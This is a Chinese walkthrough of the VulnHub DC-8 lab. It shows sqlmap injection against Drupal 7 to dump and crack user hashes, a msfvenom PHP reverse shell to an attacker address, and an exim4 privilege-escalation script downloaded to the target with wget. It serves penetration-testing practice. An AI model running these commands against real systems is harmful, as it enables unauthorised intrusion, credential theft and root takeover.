VulnHub靶机 DC-8 打靶实战 详细渗透过程

2024-04-24 09:20

本文主要是介绍VulnHub靶机 DC-8 打靶实战 详细渗透过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-8 打靶 详细渗透过程

目录

  • VulnHub靶机 DC-8 打靶 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登录后台
        • 反弹shell
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-8,367/

image-20240423222428354

二、渗透测试流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

image-20240423223107919

端口扫描

nmap -p- 192.168.0.105

image-20240423223230955

开放了80端口和22端口,详细探测一下服务信息

nmap -p80 -sV -A 192.168.0.105

image-20240423223412730

探测一下指纹信息:

whatweb http://192.168.0.105

image-20240423223453030

Web渗透

SQL注入

访问web界面,通过上述信息收集加插件,得到以下信息,采用Drupal CMS,版本为Drupal 7

image-20240423223620216

点击左侧,发现url当中出现id参数变化,尝试sql注入

url:http://192.168.0.105/?nid=1

image-20240423223824333

sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

image-20240423224112264

当前数据库d7db,但不是dba

image-20240423224132681

查看数据库当中的表信息,还有表中的内容

//爆数据表
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
//查看表中数据字段
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
//爆字段数据
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

d7db数据库当中的users数据表

image-20240423224347637

d7db数据库当中的users数据表,查看表中字段内容

image-20240423224513567

成功查询用户名和密码,将密码保存到记事本当中进行破解

image-20240423224609984

登录后台

根据用户名当中提示信息john,使用john进行hash密码破解

将密码保存到文本文件当中,john破解即可

image-20240423231749154

john 1.txt
//admin破解失败,john破解成功
//用户名和密码
john
turtle 
dirsearch -u http://192.168.0.105/ -i 200

通过目录爆破后,成功找到后台并进入

image-20240423230422657

成功进入后台

image-20240423231920692

反弹shell

找到可代码执行的地方,或者可以输入代码的地方,尝试输入,保存即可。

这里还可以使用msf生成php反弹shell脚本,放入其中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将代码放入其中

image-20240423233442210

image-20240423234717871

然后返回提交以后才能执行代码,msf开启监听即可接受到shell

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

image-20240423233920492

成功接收shell,www-data普通权限

image-20240423234416644

获取稳定shell,查看目录下有无有价值信息,发现没有

python -c "import pty;pty.spawn('/bin/bash')"

image-20240423234905116

提权

查找系统下suid权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20240423235020352

查看一下exim4版本信息

image-20240423235700466

搜索相关漏洞,进行利用

searchsploit exim 4

找到版本相近的问题

image-20240423235753917

将其拷贝到本地,发现靶机有wget命令,那么可以通过wget进行下载,本地通过python开启一个http服务

//拷贝脚本
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
//本地开启http服务
python -m http.server 8080

image-20240424000040857

到靶机端进行下载exp.sh即可

wget http://192.168.0.106:8080/exp.sh

image-20240424000153773

image-20240424000211403

赋予执行权限,执行一下

chmod 755 exp.sh
./exp.sh
或bash exp.sh

image-20240424000345193

查看源码,需要带参数

image-20240424000810975

image-20240424000716975

或者我们直接敲上 -h查看帮助的参数

./exp.sh -h

发现得加参数,依次尝试即可

image-20240424000432623

./exp.sh -m setuid 失败
./exp.sh -m netcat

./exp.sh -m netcat 成功提权

image-20240424000529168

image-20240424000617527

思路:

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用

文章不妥之处,欢迎批评指正!!!

这篇关于VulnHub靶机 DC-8 打靶实战 详细渗透过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/931353

相关文章

Flutter实现文字镂空效果的详细步骤

《Flutter实现文字镂空效果的详细步骤》:本文主要介绍如何使用Flutter实现文字镂空效果,包括创建基础应用结构、实现自定义绘制器、构建UI界面以及实现颜色选择按钮等步骤,并详细解析了混合模... 目录引言实现原理开始实现步骤1:创建基础应用结构步骤2:创建主屏幕步骤3:实现自定义绘制器步骤4:构建U

SpringBoot中四种AOP实战应用场景及代码实现

《SpringBoot中四种AOP实战应用场景及代码实现》面向切面编程(AOP)是Spring框架的核心功能之一,它通过预编译和运行期动态代理实现程序功能的统一维护,在SpringBoot应用中,AO... 目录引言场景一:日志记录与性能监控业务需求实现方案使用示例扩展:MDC实现请求跟踪场景二:权限控制与

SQLyog中DELIMITER执行存储过程时出现前置缩进问题的解决方法

《SQLyog中DELIMITER执行存储过程时出现前置缩进问题的解决方法》在SQLyog中执行存储过程时出现的前置缩进问题,实际上反映了SQLyog对SQL语句解析的一个特殊行为,本文给大家介绍了详... 目录问题根源正确写法示例永久解决方案为什么命令行不受影响?最佳实践建议问题根源SQLyog的语句分

IntelliJ IDEA 中配置 Spring MVC 环境的详细步骤及问题解决

《IntelliJIDEA中配置SpringMVC环境的详细步骤及问题解决》:本文主要介绍IntelliJIDEA中配置SpringMVC环境的详细步骤及问题解决,本文分步骤结合实例给大... 目录步骤 1:创建 Maven Web 项目步骤 2:添加 Spring MVC 依赖1、保存后执行2、将新的依赖

如何为Yarn配置国内源的详细教程

《如何为Yarn配置国内源的详细教程》在使用Yarn进行项目开发时,由于网络原因,直接使用官方源可能会导致下载速度慢或连接失败,配置国内源可以显著提高包的下载速度和稳定性,本文将详细介绍如何为Yarn... 目录一、查询当前使用的镜像源二、设置国内源1. 设置为淘宝镜像源2. 设置为其他国内源三、还原为官方

最详细安装 PostgreSQL方法及常见问题解决

《最详细安装PostgreSQL方法及常见问题解决》:本文主要介绍最详细安装PostgreSQL方法及常见问题解决,介绍了在Windows系统上安装PostgreSQL及Linux系统上安装Po... 目录一、在 Windows 系统上安装 PostgreSQL1. 下载 PostgreSQL 安装包2.

MySql match against工具详细用法

《MySqlmatchagainst工具详细用法》在MySQL中,MATCH……AGAINST是全文索引(Full-Textindex)的查询语法,它允许你对文本进行高效的全文搜素,支持自然语言搜... 目录一、全文索引的基本概念二、创建全文索引三、自然语言搜索四、布尔搜索五、相关性排序六、全文索引的限制七

python中各种常见文件的读写操作与类型转换详细指南

《python中各种常见文件的读写操作与类型转换详细指南》这篇文章主要为大家详细介绍了python中各种常见文件(txt,xls,csv,sql,二进制文件)的读写操作与类型转换,感兴趣的小伙伴可以跟... 目录1.文件txt读写标准用法1.1写入文件1.2读取文件2. 二进制文件读取3. 大文件读取3.1

Linux内核参数配置与验证详细指南

《Linux内核参数配置与验证详细指南》在Linux系统运维和性能优化中,内核参数(sysctl)的配置至关重要,本文主要来聊聊如何配置与验证这些Linux内核参数,希望对大家有一定的帮助... 目录1. 引言2. 内核参数的作用3. 如何设置内核参数3.1 临时设置(重启失效)3.2 永久设置(重启仍生效

Python列表去重的4种核心方法与实战指南详解

《Python列表去重的4种核心方法与实战指南详解》在Python开发中,处理列表数据时经常需要去除重复元素,本文将详细介绍4种最实用的列表去重方法,有需要的小伙伴可以根据自己的需要进行选择... 目录方法1:集合(set)去重法(最快速)方法2:顺序遍历法(保持顺序)方法3:副本删除法(原地修改)方法4: